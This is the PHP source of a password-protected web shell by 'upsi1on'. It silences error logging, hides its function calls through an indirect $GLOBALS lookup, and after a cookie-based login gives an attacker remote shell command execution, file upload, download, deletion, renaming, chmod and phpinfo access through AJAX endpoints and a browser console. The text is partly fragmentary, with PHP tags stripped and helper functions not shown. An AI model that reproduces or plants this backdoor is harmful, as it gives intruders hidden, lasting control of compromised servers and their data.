# by upsi1on - thanks to my waifu (Zero Two)
error_reporting (0);
set_time_limit (0);
@ini_set ("error_log", null);
@ini_set ("log_errors", 0);
@ini_set ("max_execution_time", 0);
@ini_set ("output_buffering", 0);
@ini_set ("display_errors", 0);
startEncodeFunction ();
$password = '$2a$12$uKw0MYV.LEA64Y6Cux1UIO2YpJ00P6TqUta4YYhNdnnqElRXrZIiC'; // upsi1on
$serv_ip = (!$_SERVER["SERVER_ADDR"]) ? $GLOBALS[49] ($_SERVER["HTTP_HOST"]) : $_SERVER["SERVER_ADDR"];
if (@$GLOBALS[46] ($GLOBALS[47] ($_COOKIE["webshelLoginVerify"]), $password)) {
fix_data ();
if ($_GET["2"] == "ajx-rnm") rnmflodir ();
if ($_GET["2"] == "ajx-del") massDelete ($_GET["0"]);
if ($_GET["2"] == "ajx-download") die (showFileValue ($_GET["0"], false));
if ($_GET["2"] == "ajx-chmod" && isset ($_GET["02"])) exchmd ();
if ($_GET["2"] == "ajx-up" && @$_FILES["post"]["size"] != 0) uploadToDir ();
if ($_GET["2"] == "ajx-file" && isset ($_POST["post"]) && $GLOBALS[24] ($_GET["0"] . "/" . $_GET["02"])) saveFlCh ();
if ($_GET["2"] == "ajx-shell") runShell ();
if (@$_GET["02"] != "") {
if ($_GET["2"] == "ajx-cdir") createDirectory ();
if ($_GET["2"] == "ajx-cfl") createMFl ();
}
if ($_GET["2"] == "ajx-info") {
infoTbl ();
exit ();
}
if ($_GET["2"] == "ajx-open") {
showFiles ();
exit ();
}
if ($_GET["2"] == "ajx-phpinfo") {
$GLOBALS[48] ();
exit ();
}
}
<!DOCTYPE html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
upsi1on <title>upsi1on</title>
<style>
body, input, button, a {
color: white;
}
body {
background: black;
font-family: monospace;
font-size: 120%;
}
.border {
border: 1px solid white;
}
input, button, .modal-content {
border: 1px solid gray;
border-radius: 3px;
background: transparent;
}
hr {
border: none;
border-top: 1px solid gray;
}
a {
cursor: pointer;
text-decoration: none;
}
table {
border-collapse: collapse;
}
iframe {
border: 0px;
}
textarea {
resize: none;
}
input, .center, .phdiv {
text-align: center;
}
.left {
text-align: left;
float: left;
}
.typeTd {
width: 0;
}
.mainTable, .tdB {
width: 100%;
}
.noName {
width: 11%;
}
.fileAct {
width: 20%;
}
.shact {
width: auto;
font-weight: bold;
}
.shact, .tdH {
white-space: nowrap;
}
.pth {
color: gray;
}
.chTable {
width: 40%;
left: 30%;
}
.chTable, .phdiv {
top: 10%;
position: absolute;
}
.right {
text-align: right;
}
.phdiv, .modal-content {
width: 80%;
}
.phdiv {
left: 10%;
height: 75%;
}
.phpinfo {
width: 100%;
height: 100%;
}
.trFl:hover, .trFl:hover a, .bgwhite {
background: white;
color: black;
}
.typehead {
width: 1%;
}
.modal {
display: none;
position: fixed;
z-index: 1;
top: 0;
left: 0;
width: 100%;
height: 100%;
overflow: auto;
background: black;
}
.modal-content {
border: 2px solid gray;
background-color: black;
padding: 10px;
margin: 0;
position: absolute;
top: 45%;
left: 50%;
-ms-transform: translate(-50%, -50%);
transform: translate(-50%, -50%);
}
.frdo {
float: right;
}
.lineBreak {
line-break: anywhere;
}
.shellOutput {
text-align: left;
overflow-y: scroll;
overflow-x: hidden;
height: 100%;
}
.inpbold {
font-weight: bold;
border: 0;
text-align: left;
}
</style>
if (@!$GLOBALS[46] ($GLOBALS[47] ($_COOKIE["webshelLoginVerify"]), $password)) {
if (@!$GLOBALS[46] ($_POST["password"], $password)) {
webshell by upsi1on
exit ();
}
$GLOBALS[45] ("webshelLoginVerify", $GLOBALS[44] ($_POST["password"]));
fix_data ();
}
if ($_GET["2"] == "file" && @$GLOBALS[22] ($_GET["0"] . "/" . $_GET["02"])) openFile ();
if ($_GET["2"] == "chmod" && @$GLOBALS[10] ($_GET["0"] . "/" . $_GET["02"])) changeAccess ();
if ($_GET["2"] == "shell") {
<div class="phdiv border">
<div class="shellOutput">
<div id="shellOutput"></div>
<div class="shellSubmit">
<b class="pth">shell >
</div>
</div>
<span class="left">
<a class="shact" href="?0==$_GET["0"];&2=open">[ back ]</a>
</span>
</div>
<script>
let path = "=$_GET["0"];"
</script>
=ajaxTemplate ();
<script>
let
input = document.getElementById ("shellInput"),
output = document.getElementById ("shellOutput")
input.addEventListener("keyup", (event) => {
if (event.key === "Enter") {
output.innerHTML = output.innerHTML + "<b class='pth lineBreak'> shell > <b class='lineBreak'>" + input.value + "
"
ajax ("?0=" + path + "&2=ajx-shell", "plushell", input.value)
input.value = ""
}
})
</script>